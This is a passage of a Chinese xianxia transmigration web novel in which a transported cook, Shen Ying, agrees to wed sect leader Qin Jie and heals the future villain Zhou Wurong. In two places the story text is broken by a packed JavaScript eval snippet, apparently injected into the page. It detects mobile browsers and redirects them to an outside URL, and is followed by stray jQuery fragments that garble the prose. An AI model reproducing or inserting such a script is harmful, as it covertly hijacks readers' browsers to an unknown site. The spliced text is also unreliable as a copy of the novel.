原以为秦戒作为优秀的禁欲代表,哪怕有化浊丹,肯定也不想吃两口,纯粹来看个好奇,谁知他点了头:“那就多谢沈道友的款待了。” 沈缨眼睛一亮,眼眶都泛酸了,二话不说舀了一碗给他:“宗主,快请坐快请坐,热气腾腾,还有锅气的。” 他在秦戒面前一直最自在,尽管秦戒身上有股子冷味儿和边界感,也被他的滤镜消解掉了。 沈缨每天过去治疗他的伤势,总是很想和他说话,经过这段时间的相处,秦戒的疏离感也淡化了不少。 共处的时间长了,沈缨便发现秦戒不时就在放空发呆,眼睛灰蒙蒙的,不知道在想什么。 也许在想天下苍生,也许在想导致自己重伤的阴谋诡计,又或者在想日渐黏人,因此日渐头疼的大徒弟。 沈缨乐呵呵地吆喝他吃饭,就见他吃了两口后又在发呆,沈缨乐不可支:“怎么样?秦宗主,你不会是被我的饭香迷糊了吧?” 秦戒缓慢地眨了下眼:“确实……出乎意料的香甜,我已忘记年幼时进食的滋味了,方才却想了起来。” 沈缨边扒拉春笋边自卖自夸,还大胆地开玩笑:“我就说我厨艺不错吧!宗主,再考虑一下结契吧,你看我,虽然上不得厅堂,但是妥妥的下得了厨房,还能帮你治愈伤痛,我多划算啊。” “沈道友现在还想与我结契?” “想啊。” “此志不改?” “不啊。” 秦戒又怔了几秒,左手端着沈缨烧制的土碗,右手摊开,掌心里浮现出一块镌刻着问天二字的白色掌门印。 “那除了结契之外,沈道友不能接受其他的身份了吗?我可以收你为徒,广而告之三界,使那些可能对你不利的人,心生忌惮不敢加祸于你。” 沈缨吃了一大惊,碗都差点磕了,他心想,收徒?我?就我这孬样? 再说了,要是秦戒再收一个徒弟,楚放那个首徒怕是要在角落里醋翻天了,周无戎和周书成的出现已经让他怄了半本书。 但看秦戒认真的眼神,他继而又想到,收徒确实符合秦戒爱捡孤儿的性格。 秦戒继任成宗主后,两眼一睁就是缝缝补补修真界,哪里有魔物入侵就去支援。 此世灾祸盛行,动荡战乱如一天三餐,因此三界孤儿恒河沙数。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195347|150810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦戒每到之处,救完灾后,总要收留一些无法谋生的小萝卜头。 问天宗现在的弟子有一半就都是收留来的,这些弟子修炼出资质后,有的继续皈依问天宗,脚踏实地地为师门努力,也有的把问天宗当踏板,离开去往别的门派。 有人说秦戒这是伪善,或别有用心,或图谋不轨,但不管外人如何非议,那些被收留的当事人不曾说过他的坏话。 问天宗门下弟子遍布修真界,虽穷志坚,人心归一,正气悍然,秦戒是仙师,他担得起这一声敬称。 沈缨被感动到了,用一种慈父般的眼神注视着秦戒。 秦戒可能被他这肉麻兮兮的眼神看得冒鸡皮疙瘩,清冷淡漠的神情绷不住了:“沈道友,我并不觉得你对我有恋慕情愫,你到底想做什么?” 沈缨已读乱回:“想做饭。” 秦戒闭了闭眼,低声问:“我是问,你留在问天宗,到底想做什么事,想做什么人。” 沈缨晃了晃小碗里的粥,有些情不自禁地絮絮:“这个……我习惯了做一件事,就是做饭,留下来也是想这么做,烧好饭,吃好饭。我喜欢吃饭,小时候因为总是和小伙伴抢饭吃,收养我的妈妈一直叫我小馋,后来才吐着唾沫抹手指翻书找字给我取大名。民以食为天,我现在是小民,以后是老民,老了也喜欢吃饭。” 沈缨还是想完成任务,回到他太平劳碌的二十一世纪,每天在烟火里颠锅,锻炼肱二头肌,锻炼烧饭厨艺,攒点热乎乎的票子,到年岁了再找个知冷热的对象,男女都行,主要是成为彼此的家人。 他有时候是乐子人,他大多时候是日子人,日子要一天一天过,饭要一口一口吃。 虽然他管不住自己的不良爱好和作息,但他真切地热爱生活,他在洪流里孤零零地生活,相信自己会越来越有滋有味,有家庭有爱人。 他不由自主地在秦戒的注视里说:“我想活着。” 秦戒安静片刻:“只有成为我的道侣,你才能活下去吗?” 沈缨点点头。 秦戒放下碗,突然抬手触碰他的脸,吓了沈缨一跳。 沈缨僵在小饭桌上,于他而言,带着感情的抚摸和拥抱已经是小时候的事了,他想躲开秦戒的手,但下意识把脸贴在他冰凉的手心里,冰凉也没有关系,萍水相逢也没有关系。 他只是小嘴叭叭的:“秦宗主,虽然咱们都是男人,但这也不是随便摸脸的理由吧!吃人嘴短拿人手软,你是嘴硬又手硬啊。” 秦戒脸上没有什么表情,灰眼睛里似乎有些难过,放下手后轻声:“冒犯了,我只是想看你有没有说谎。” 沈缨服气了,他的手还能当测谎仪使? “沈缨,我明白了,我同意和你结契。” “!!!” 沈缨顿时觉得有一股大火爆炒的焦糊味传进脑子里,他一下子手忙脚乱,像是找不到关火的开关:“真的假的?” 秦戒点头:“待我身体完全恢复,我来拟你我的结契灵书,到时我需要采你一滴心间血,为你制作问天宗的命玉,你与我结契,我们的命玉就是一对,只要我不死,三界之中就没有人能越过活着的秦戒去杀害沈缨。” 君子一言,掷地有声,沈缨听到了系统在识海里撒花:【亲爱的小缨,恭喜你完成了第三个任务,你没有完全采取原著里携恩图报的老办法,而是用你特有的‘请人吃饭’方式打动了主角,经评估,额外奖励你6666积分】 8. 第 8 章 沈缨一夜没睡,秦戒昨天同意和他结契,就地传了千里符邀请了他的好友过来,说明天早上就当着他的亲友和徒弟的面,把这事公布。 沈缨不太想在场,怕被楚放暴起拔剑削了,秦戒估计也是心里有数,点头答应,约定十天后召开师门大会,届时再当众展示结契灵书。 秦戒效率快,沈缨跟着点头就行了。此时他平躺在床上,双手交握叠放在肚子上,望着天花板,想着原著里的沈不寻就是借着和秦戒性命绑定的强大后台不停作妖,就有一种上岸了就想退休的淡淡死感。 太阳刚升起,他就爬起来打开乾坤袋,拿出了放在深处的“作案工具”,把那荆棘鞭和红絮袖摸了又摸,这回没有放回去,就放在枕边。 春光融融里,他拐进厨房里准备磨磨菜刀,才磨了两下,就听到外面传来清亮的“沈仙长”。 沈缨吓了一跳,时间还早着,周无戎是一回太周山就直奔这来了,他手抖了一下,划拉到的手指往衣服上擦擦,背着手出门去。 只见周无戎两手拢着个什么东西朝他走来,仪表整洁崭新,但眉眼之间的神情看得出来有股风尘仆仆的味儿。 沈缨话说得不太利索:“你小子……这么早就回来了?没先去拜见你师尊吗?那什么,昨天都顺利吗?有受伤吗?手里捧着什么东西?” 周无戎来到他门前问好:“顺利的,多谢仙长的关怀,本不想清早就来叨扰您,只是昨天弟子在外意外得到了一只小鸟,想尽快带来献给您。” 沈缨心里酸得不行:“你还真找了食材啊……” 周无戎打开双手,只见手里躺着一只翅膀无力地耷拉着的白鸽,体型很小,但脾气怕是很大,鸟喙上沾着血,而周无戎的手里有点点红迹,一看就是小鸟啄的。 沈缨先注意到了他的手,忙走近去瞧,眉头皱起来:“你抓了只啄木鸟吗?手破成这样啊?” “不破的,弟子皮糙肉厚。”周无戎捏着白鸽拎起来,“仙长你看看这只鸟,弟子在外意外遇到的,捕获后才嗅到它喙上有您残存的气息,您看看认不认识。” 沈缨定睛一看,嚯,还真认识! 小白鸽胸脯前有一点红色羽毛,正是他刚穿书进来时在晴朗谷看到的小鸟,这邪恶毛绒绒一到他手心就啄了他一口,得亏它体型小,伤害性才不大。 这是原著里被沈不寻糟践死的小东西,他没把它串成烤乳鸽,想着放它自生自灭去,没想到它居然能飞出晴朗谷,还飞到了离太周山不远的地方。 “这……它是我从前在晴朗谷里养的小宠。”沈缨从周无戎手里接过它,小鸟蔫蔫地站在他手里,羽毛乱糟糟的,像一颗被嗦的白色芒果核,他掂掂它,看它会不会再啄自己,它大概是累坏了,没精打采地躺他手上,碰瓷似的赖着不走了。 周无戎见状便问:“难不成它是特地飞来找您的?” “这……应该是吧。”沈缨用一只手勉强拢着它,掌心里溢出银丝包裹住它,疗愈它受伤的翅膀。 他心里一动,想着人兽有缘,既然坏小鸟都追过来了,那他就把它养了吧,喂得胖胖的,壮壮的。 继而心里又一动,没有过多的犹豫,他冲周无戎伸手。 “我是它不负责任的主人,它啄你是我的锅,来吧把你的手给我,我治一下你。” 周无戎推却了一下,沈缨难得硬气:“狗爪子快伸出来!” 周无戎:“。” 周无戎心里自然是巴不得被沈缨的银丝缠绕,越多越好,最好把他包裹成一个蛹,一劳永逸地把他在灭族之乱里受的遗伤全部疗愈,当流淌着浮光的银丝缠住他的手时,他发自肺腑地感到舒服。 但沈缨又称呼他是狗,他同样真情实意地感到气闷,还只能憋着。 但没过多久,周无戎的郁气就淡化了,他两手的小伤已经全部愈合,沈缨却没有放开他,一声不吭地握着他的手。 他看着沈缨身上蔓延出来的银丝越来越密,已经要和他第一次治疗秦戒时一样多了。 周无戎感到意外——沈缨竟然真的在不遗余力地治疗他的内伤。 “仙长,弟子已经……” “你别汪汪叫。” 周无戎:“。。。” 春风从东边吹拂到西边,坏脾气的小白鸽完全好了过来,展翅盘旋在他们头顶团团飞,继而,它又追着春风从小松林的南边飞到北边。 春日在天,林间俱是影,沈缨在斑驳的光影里是最亮的光源。 系统检测到奇怪的地方,便冒泡出来友情提醒他:【亲爱的,你的生命值跌出新低了,降到了37】 “哦……我觉得我好像还可以诶,不像第一回使用这个能力时那么累。”沈缨在识海里嘴硬地表示没事,“嘿嘿,我还可以继续创新低。” 【不懂就问,人机开始现场采访:请问宿主,你为什么突然要这么努力地治愈未来的反派呢?】 “人类的事你别管……人类抽象起来时啥也不管,干就完事了。” 沈缨始终紧紧握着周无戎的手,周无戎几次要开口他都打断了,让他乖乖闭嘴。周无戎的神情从迷惑到镇定,气色从疲倦到焕发,眼睛也越来越明亮。 沈缨绷着脸假装小事一桩,尽其所能地治愈狼崽目前身上的伤,把自己的生命值干到31时才松开手,眼前像有铺天盖地的马蜂。 “沈仙长,您为何?” “哦,没事,这是奖励你帮我带回来那只坏小鸟。”沈缨强撑着编了个理由,“行了,你回去吧,和你师兄一起去拜见你师尊吧,他昨天说今天就要告诉你们一个消息,我呢,先缓缓,去吧。” 沈缨说完扭头就进了他的小楼里,木门哐当一声砸上。 * 周无戎满心复杂地前往他师尊的洞府。 他一路走一路看自己被沈缨握过的那只手,此刻他浑身暖融融的,神魂清灵,体内浊气几乎全被扫空,受过重创的灵核也不再感到隐痛。 他想不通,人类的心像海里的针,他一只不会游泳的狼,捞不起那根细小的针。 他只好按照沈缨说的来拜见他师尊,快到地方时,他发现洞府门口竟然来了个贵客,心里的诧异更深了:“朱师伯?” 来人名叫朱牧,虽然姓朱但外号叫牛牧,体格壮如牛,这人是秦戒的好友,另一个修真门派梨园宗的宗主,门派规模小,全派不到千人,专修乐器,人均比问天宗富庶百倍。 朱牧和秦戒是多年好友,古道热肠,和秦戒一样以除魔卫道为一生大业,秦戒之前就是收到他的求援信去支援,两人一起在北边的不春海抵御魔物,结果双双重伤,朱牧伤势比秦戒轻,被自己的一双徒弟抬回去救治了。 眼下他的气色看起来也有点虚,但精神状况很好,神采奕奕的,甚至透露着一股看戏凑热闹的促狭。 朱牧正搂着一脸莫名其妙的楚放,听到周无戎的声音就嘿嘿笑着来拍他肩膀:“小无戎啊,几个月不见了,你看起来在问天宗养得不错嘛,很好很好,问天宗果然是好地方,有你们这一群天资异禀的小辈在,你们师门迟早干掉前面的墨山宗和禄水宗!” 周无戎看了眼楚放,发现大师兄也不明所以,他便没问朱牧为什么会在伤势没养好的情况下大老远地跑过来,回以梨园宗的好话:“朱师伯您的师门也是人才辈出,我们两派同舟共济,来日必定都更上一层。” 朱牧哈哈大笑:“借小无戎吉言!我那两个不成器的弟子要是有你和楚放的一半,我晚上睡觉做梦都能笑醒。” 他刚说完,他口中的不成器弟子就赶到了。 他这两个弟子是一对双生子。 大的名叫孟不苟,小的叫孟言笑,两人估计也有些为名字所困,当哥哥的从小到大一脸正经样,做弟弟的一直都是笑嘻嘻的轻浮样。 孟不苟一脸认真地走过来:“真是不好意思,弟子辜负了师父的期望,我们兄弟二人让您丢脸了,好在师尊您完全够得到秦师叔的一半,让我们做徒弟的在外吹嘘起来,特——别——长脸呢。” 他弟孟言笑嬉皮笑脸地给朱牧鞠躬:“师尊好,师尊今天吃药了吗?” 随后他转头和楚放笑嘻嘻地说话:“也不知道是哪个一宗之主在不春海边晕得跟头死牛一样,幸亏他两个不争气的弟子千里迢迢地赶了过去,才让他捡回一条牛命。” 朱牧脸上挂不住,二话不说,手里闪现出了本命武器,举起一根竹笛当打狗棍使:“一双臭小子!找打啊?” 不苟言笑兄弟俩分别躲到周无戎和楚放身后,朱牧拿他们没办法,大鼻子大出气,更像个牛了。 周无戎心里的疑团越积越大,楚放自小就跟着秦戒,和梨园宗的人熟络,朱牧不告诉他上门来干嘛,他就抓了背后的孟言笑追问:“今天是什么好日子,你们怎么和朱师伯一起来了?” 徒弟效师父,他们也不肯细说,露出和朱牧一样的促狭神情:“确实是个好日子。” 没 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楚放气压骤变,秦戒一早预料到,赶在他动作前动手,左手里的通天鼎转了转,楚放就被无形的悍然灵力锁住全身,嘴上也被施了禁言咒,只能被强制束缚着老老实实地坐好,全身上下能表达不满的,只有那双要喷出火来的眼睛。 朱牧大笑起来:“好!” 孟不苟和孟言笑异口同声地笑着庆贺:“恭喜秦师叔大喜!” 自古喜事,外人看最乐,内人有烦忧。 秦尚不好再说什么,劝也劝了,事已至此,只能随缘,他拍拍快要喷火的楚放,又拍拍凝固成冰的周无戎,和朱牧说点应景的:“老牛,我们问天宗要有自己的夫人了,你们梨园宗呢?你也该给不苟言笑找个师娘了。” 孟不苟和孟言笑一淡一浓地附和和撺掇,巴不得朱牧赶紧抓一个靠谱的贤内助回梨园宗,把他们这个吹拉弹唱的门派发扬光大。 有梨园宗的这三个活宝师徒在,在场便透露着轻快,秦戒请他们来见证,也是请他们来缓解气氛。 周无戎脸上挂着笑,几次想张嘴和他们说到一处,不知怎的,平日里能说会道的嘴却怎么也张不开。 他还是低头去看他那只被握过的手,脑袋里乱成一片,微笑到最后才说了一句:“恭喜师尊,我和大师兄,还有小师弟,就将要有一位良善师娘了,这也是弟子们的福气。” 该说的动听场面话说出去了,脑海里乱七八糟的念头便沉淀下来,只留下了席天卷地的一句—— 他怎么会成为我师娘呢? * “阿秋!” 因透支疗愈能力过度的沈缨瘫在床上,大喘着气,有气无力地打喷嚏,心里一闪而过地想,肯定是楚放那个逆徒攻在咒骂他。 此刻他着实提不起力气去猜想秦戒那边的官宣场面难不难看,他被另外一件关乎己身的大事惊呆了。 他发现他握过周无戎的那只右手——变成了一条圆滚滚、胖乎乎的棉花胳膊! 沈缨在识海里嗷嗷叫:“我靠,我靠,系统你看见没?我的右臂是怎么回事!” 系统呲啦呲啦地搜索了好一会,才叮咚上线:【亲爱的小缨,恭喜你引出了隐藏设定,特此奖励百万积分】 沈缨已经顾不上积不积分的问题了,他虚弱地动了动他的棉花胳膊:“不是,别搞啊!你看我的右手,变成轻飘飘软绵绵的棉花了啊!这什么鬼?我的手要是一直这样,我就拿不起菜刀,我就做不了饭了啊!” 【请放心,很快就能恢复回来,这只是因为你的生命值短时间内降低太快,才引发的特殊状况】 沈缨一听能恢复过来就放心了,额头上的汗水都流进了眼睛里,可怜巴巴地问:“那你说吧,什么隐藏设定?” 【原著提到沈不寻是融合草木精灵和修士血脉生产出来的实验产物,其实草木部分远远大于人类部分,他的本源属于棉花,本体是一只棉花娃娃】 沈缨:“哦哦!” 【因此当你施展疗愈技能的时候,身上会焕发出银丝,那其实是絮丝,如果你一口气把絮丝耗费太多,身体会短暂地出现返婴现象,变回棉花娃娃】 【如果你生命值归零,也就是身体死亡,你的尸体就会变成一只棉花娃娃,随着风干逐渐分散成棉絮,最后消失无踪】 “知道了。”沈缨惊吓不小,还好这种状态没多久,他看着他的右手慢慢地从棉花胳膊变回肉|体凡胎,紧张的心落回去。 他破涕为笑地抱住自己:“好吧……这设定还挺有意思的,棉花娃娃,棉花娃娃,还挺可爱的!” 【你本人更可爱^_^】 9. 第 9 章 沈缨虚惊一场,身体和精神都透支了,抱着自己蜷缩着昏睡了。 谁知这一睡,竟做了一个梦。 他梦见他变成了沈不寻。 沈缨感觉到自己就站在小楼门前,就在他刚刚疗愈周无戎的地方,但周无戎人在不远处的枯树下趴着,用右臂撑着地面想爬起来。 紧接着,沈缨就看到自己的手抬起来,一束红色的光从手心里生出,炽亮得仿佛撕裂空气,一瞬飞过去劈到周无戎身上。 于是沈缨就看到刚刚被他疗愈得焕然一新的周无戎肩背血肉模糊,人被抽到撞树上,再砰然摔到地上,枯树上没有叶子,只淅淅沥沥地掉落了枯枝。 劈在周无戎身上的是一道裹着红光的苍青色荆棘鞭,它如同一条活蟒在地上游移,鞭尾像蟒蛇的蛇信,不时滋滋作响。 沈缨听着不一样的声音从自己喉咙里发出来,笑吟吟的:“濯沧,披着张人皮,就能假装自己不是畜生了吗?伪装成善男信女的感觉很累是不是?没关系,在这里你可以做自己,做一只贱妖,做一只流脓的烂狗,是狗就该趴着,贴着泥蹭着土,洗洗身上那股臭气熏天的腥味。” 枯树下的周无戎没有说话,沉默地试着再爬起来,沈缨看着自己抬起手,扬起荆棘鞭继续抽打过去,边打边说话:“濯沧,这回你不把耳朵变出来了?变啊,别藏着掖着,让师娘帮你一把,把它们割下来,把你身上的妖兽形态通通切掉,让你没有后顾之忧地装成人——你也必须继续一直装人啊,不然你看看这问天宗,只有你一个是妖,你不怕?你该怕,人族说非我族类,其心必异,你当是和你开玩笑的?” 这梦做得漫长,直到那枯树变秃树,无叶也无枝了,荆棘鞭才挂着碎肉,似攀似游地爬回来。 沈缨总算从这个梦里解脱,昏睡时朝霞满床,醒时满屋子夕阳,他溺水上岸一样惶恐地大喘着气,手一摸床板,冷汗浸透了衣服,沾湿了半张床。 他哆哆嗦嗦地抹了把脸,想着真是有所思就有所梦,竟然叫他梦见了原著的剧情。 他不受控制地淌着眼泪,转头去看放在枕边的小荆棘鞭,一转头,先看到那只飞来找他的小鸟,它正歪着脑袋站在那武器面前,见沈缨醒了,它便“咕”了一声。 “咕……小领导。”沈缨吸了吸鼻子,这小鸟虽然脾气不小,但细看粗看都算可爱,浑身羽毛也打理好了,此时乍然一看,差点让沈缨以为是一颗点了红斑的汤圆。 沈缨累得没边,侧身蜷着和小鸟叨咕叨转移注意力:“你真是专门飞来找我的啊?为什么呢,晴朗谷里不好么,还是你原主人其实对你挺好的?好到让你突破小体型的硬伤,这么勇敢地一路飞了过来……你真是太有毅力了。” 他不知道这半个巴掌大的小鸟能不能听懂他的话,唠唠叨叨地和它倾诉:“可是你原主人真的好坏啊,对你能好到哪里去呢?” 小鸟似乎听懂了,脑袋摆正过来,仰着头,颇为响亮地回应:“咕,咕咕!” 它还一边咕咕叫一边冲过来撞沈缨的额头,沈缨被撞得闭眼睛,也没躲,就皱着眉头嚷嚷:“你完了!明天就把你的羽毛拔掉,把你串成烤乳鸽!” 在这雄赳赳气昂昂的小鸟连击下,沈缨的额头红了一片,脑瓜子轻微嗡响,等身体恢复了力气爬起来去抓它,它一路飞到厨房里,蹲到石锅里咕咕叫。 沈缨上手逮住,哈着气示意吃掉它:“好啊,自投罗网,这么想变成一锅野味汤啊?” 他一边戳它脑袋一边慢慢往外走,准备去五周峰找点谷物喂它,撑死它,报复它。 沈缨只是想给自己找点事做,然而走出家门没多远,就迎面看到了秦尚,以及他身后低着头的周无戎。 沈缨心里一突,简直想掉头就跑,秦尚叫住了他:“沈缨,你脸色怎么这么差?” 周无戎顿时抬头,眼神有些空洞地看过来,又叫了一声“仙长”。 沈缨勉强笑了一下,无视他看秦尚:“仙君,您来找我是有什么要紧事吗?” 秦尚严肃地轰他进屋里,坐下来后干咳两声,道:“这自然是为了商量你和留嗔的结契大典,他已经在写信函,去召回师门在外的老老少少。他虽是我弟,却也是一宗之主,既然硬是要在九天后就把大典办了,那我也只好在后边帮忙添砖加瓦。” 沈缨两手拢着小鸟摸它羽毛,这会也不觉得尴尬了,有种因超乎想象的神魂脱离感:“嗳,您说的是。有关这个结婚典礼的事,我没有多大想法,你们怎么安排我就跟着怎么做就可以了,我没意见。” 他是真没意见,但是秦尚紧接着说:“自你到问天宗,一直以来都是无戎接待你的日常琐事,想必你对这个小辈也是满意的,他也比我们其他人了解你的喜恶,这几天照旧让他侍奉你,你有任何需要的,尽管让他去做吧。” 沈缨:“……” 他头皮发麻,第一时间想拒绝,甚至想着还不如换逆徒攻来:“能换楚放来吗?” 一直低着头的周无戎闻言抬起了头。 秦尚摇头:“楚放?那小子虽是留嗔的首徒,但性格并不如无戎细腻,且他近来一直神思不定,恐怕是当初强行推动通天鼎遭了反噬,人还没好透底。倘若你是想要和他处好长幼关系,不急于一时,还是等婚后吧。” “那换其他小山峰的外门弟子来也行啊?”沈缨慌不择路的,“或者不用了,我不需要谁来对接我,我没有要求。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195349|150810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦尚看了看他,觉得从他嘴里问不出什么,直接转头去看周无戎:“濯沧,你是这几天和你师娘发生了什么龃龉吗?之前不是都好好的,怎么他现在不待见你了?” 周无戎眨了下眼,人还在,魂却有些飘忽:“弟子不知。” 他恍惚地看向沈缨:“还请仙长……师娘示下。” 沈缨被这转变的称呼搞得如有寒芒,但一看周无戎空空的眼睛,什么拒绝都说不出来了,只得揉揉手里的小鸟,打起精神来应付秦尚:“没有!我是想着他毕竟是秦宗主的徒弟,一直跟在我周围做这做那的,太大材小用了。” “怎会。”秦尚伸手拍拍周无戎的肩背,“他虽是留嗔的第二个亲传弟子,但满打满算,他来到问天宗也才四个月,宗门内外还不够熟悉他,他也是。借着这操办的事宜,让无戎多在师门内和其他人走动,尽快和问天宗融为一体。” 沈缨只好笑:“仙君说得有道理,那就这么来吧。” 秦尚摆手:“以后不妨和留嗔一样叫我兄长,既然都是同宗共族了,再以各种敬称相呼就太客套了。” “哦……大哥。” “……也行。” 秦尚觉得他和沈缨可能八字不对付,共处稍微久了总觉得浑身不太得劲,简单说了些事,耳提面命周无戎几句,就又匆匆离去。 沈缨现在一看周无戎就想到今天做的那梦,着实感到良心不安,就想挥手让他走:“行了,你也回去吧,有事改天再说。” 周无戎随着他的话站起来,却没有离去,垂着眼睛迷茫地看着他,轻轻叫了声:“师娘。” 沈缨鸡皮疙瘩都冒起来了。 “弟子想问师娘今早为何治愈我?” 沈缨想赶紧把他打发走,捧起手里的小鸟展示:“不是说了吗?谢你把这小鸟带来给我,它可是我的心头好,爱宠一只,好了你走吧!” “弟子还想问您一事。” “快说,说了回你窝去。” 周无戎依旧有些恍惚,自己都不明白怎会如此乱神,从迷茫于师尊怎么答应了结契,已经迷茫到了下一个层次,即他们会发展到什么阶段。 因为来的路上想的太多,想的太深,此时他不受控制地说了出来:“极北之川有一冰原,名叫万物枯,但冰原深处有自然造物,是一株深根藤,藤上结有果,名叫万物生,除了魔物以外,只要吃一枚万物生,便能孕育生子。” 沈缨听得云里雾里,他也不知道还有这种地方和这种东西,被支教得一脸莫名:“啊?你问我这个?” 周无戎低头来问他,很认真、很在意、很恍惚:“弟子想问,您会和师尊生孩子吗?” 沈缨:“…………” 10. 第 10 章 沈缨呆住了。 他看着周无戎直勾勾地盯着自己的眼神,脊背爬满寒意,恍惚里他甚至感受到了周无戎的杀意。 他这才想起,不该因为他表面的乖忘记了他心里的顽。 他总是记得周无戎在原著里被沈不寻凌虐,却忽略了他其实在原著里杀了不少人,那些一笔带过的杀业掩盖在被虐的阴影里,此刻像浮出水面的鱼尾啪嗒啪嗒地拍打他的脑袋。 《压师》里设定修士修而结灵核,修士死则灵核散。不少修士能预料到自己的死期,死前便会寻找一个人族的城镇,将自己的灵核震碎,倾尽全力为城镇作出最后的阵法屏障,保其不受魔物践踏。 修士从人族生,死而回馈人族,灵核的运用最大程度体现了这个信念。 但周无戎不是人族,问天宗最终也没能感化他,没能把他从妖教化成人,他早早就学会了邪术,活剖修士灵核,榨取灵力为己所用,修为日进千里的同时又被戾气反噬,最后彻底堕落为魔物。 他还不仅活剖成人,后来连幼子也不放过。 修士与修士结合的子嗣缘极其艰难,所生者极少,但只要生下,婴儿就有至纯至清的灵核,一呼一吸都能引灵入体。本书的逆徒攻楚放就是这么个活例子,为了让他成活,其父母都耗尽灵力同时陨落了。 书里后期黑化的周无戎掳掠了修真界几乎所有的新生子,设阵活剖灵核,妄图助自己越过修炼瓶颈一步飞升。 现在他逼问他会不会和秦戒生子——难道是在这么早的时候,就有了邪念? 沈缨如坠深渊,一醒过神,刹那间郎心似铁,站起身来,用剁菜板锻炼出来的七年臂力甩了周无戎一个大耳刮子:“混蛋!你这家伙在想什么!” 周无戎大概也始料未及,被扇得偏过脸去。 这时系统热情洋溢地出来叮咚: 【恭喜!判定巴掌有效,等同鞭打,现开始为宿主更新第一个主线小任务的进度:鞭打反派1/9999】 【提醒!每次鞭打积分在10—1000区间,以反派周无戎的情感波动为积分标准,也即是说,反派越愤怒、憎恨、恐惧,或越高兴、悲伤、绝望,则奖励的积分越高,因此鼓励宿主加大力度对其欺凌、践踏、蹂|躏】 沈缨头脑正高速运转,听系统一连串播报立马冷静了下来,但有一点他无法理解:“愤怒啊憎恨啊这些说得通,但被打怎么会有高兴的可能?” 【亲爱的小缨,这你得问反派了】 【计算已出结果,本次奖励:10积分】 沈缨呼吸一滞,看着眼前偏过脸的周无戎,所以……目前他这落下去的一大巴掌,几乎没有引起周无戎多大的情绪波动吗? 紧接着,他就看着周无戎捂住了脸,趔趄着后退一步,一脸惊惶和难过的假模假样。 “对不起,对不起师娘,是弟子僭越了。”他甚至当机立断地半跪下来,一手捂脸一手抓住沈缨的衣角,期期艾艾地说,“师娘,您再多打弟子几下,弟子冒犯您了,是弟子错了。” “……”这下变成沈缨被搞得后退,简直要对他退避三舍,“够了,够了!你出去!” 沈缨手里拢着的小鸟比他硬气多了,旋飞着冲周无戎的眼睛而去,仿佛是要用那不堪一击的小爪子掏出他的眼睛。 周无戎侧首避过,迅速出去了,走之前指尖用一缕灵力精确地在空中勾勒出一道无形的绊绳索,坏小鸟顿时啪叽一下摔在地上。 他捂着脸低头出来,离开小楼隐没进树影里,头顶冒出两只狼耳朵,竖着听小楼里的鸟叫声和沈缨的喘息声,捂在脸上的手才放了下来。 左脸酥酥麻麻的,并不痛,被打的一刹那他甚至在想,怎么有人在使劲浑身力气的时候都这么不痛不痒,究竟是他太皮糙肉厚,还是沈缨过于柔弱。 周无戎看了看指尖,又把手捂回脸上。 他不后悔问出那问题招来未来师娘的厌恶,他得到答案了。 可是得到答案了又能怎么样呢。他的师尊在当今修真界位列前十,他若要让男妻生子,他这个连立足都困难的二徒弟,难道能拦着? 话说回来,他又怎么想要拦着。 * 夜色席卷下来,沈缨心乱如麻,猛扎进厨房里用灵力制作一把称手的菜刀,坏脾气小鸟从他左肩跳到右肩再原路返回,不停地闹腾他,沈缨仍然专注地磨着刀。 他以前烧饭多中餐,中餐惯用的刀名叫文武刀,在世界刀具中是功能最齐全的,一刀可完成多种功能,切剁削拍等等不在话下。 沈缨从前有很多刀具,用来完成各种刀工,但他最喜欢的还是文武刀。 他制作的这把文武刀前刃可切,用来切片切丝极为顺手,后部可斩,斩骨断筋无甚费力。 沈缨反复地用灵力一丝一丝地修改,在造一把多功能菜刀的过程里平静下来。 刀是多面的,狼崽也是的,他自己更是。 舀水抹刀时,沈缨直面了自己。 “生子”,这二字等同于一记炸雷击到他心里,他至今为止看狗血小说也从来不看生子,甚至连养子题材都不太愿意涉猎。 那不是他的雷点,而是他在回避,血缘亲子关系于他而言无法想象,他不愿意代入父母或子女的角色,那样会让他反复意识到自己无父无母是何其寂寥,他就喜欢看一堆孤儿惨兮兮地纠缠来解脱去。 周无戎在黄昏追问他,他震惊到了夜幕,然而震惊之余,心中始终有一个微弱的声音,那声音在说: 可以吗?可以试试吗? 生子于他,不是会不会,而是能不能。 这一生注定无父无母,但现在在这里他竟有能力以男子之身完成孕育,那便可以有子有女,自己为父为母。帮助他孕育的伴侣是谁不重要,重要的是他能有自己的骨血,他可以无所保留地去爱他的骨肉至亲,而他的骨血也会回以他独一无二的依恋和关爱。 这是异世界,千奇百怪,混沌无序,唯爱永生,最激烈和最极端的感情在这里生生不息、世世不灭,这也是让沈缨着迷的。 他不知道怎么爱伴侣,但他相信自己一定知道怎么爱骨肉,那是所有生物的本能,本能可以掩盖他因身世导致的心理缺陷。 沈缨陷入了汹涌的渴望和幻想,几乎如同徘徊在罂粟田外,好在徘徊半晌,到底止步了。 心底深处的那个微弱声音又在说话,这回是自嘲: 不是吧,我这么缺爱吗,缺到这种程度啊。 这里明明只是个异次元——我是来完成任务,最多做做饭吃吃饭,不是真的来做男老婆甚至男妈妈的啊。 太荒谬了我。 * 沈缨安安静静地把菜刀磨得锃光瓦亮,刀身上倒映出了肩头上的小鸟,刚伸手把它抓了下来,秦戒就在夜色里来了。 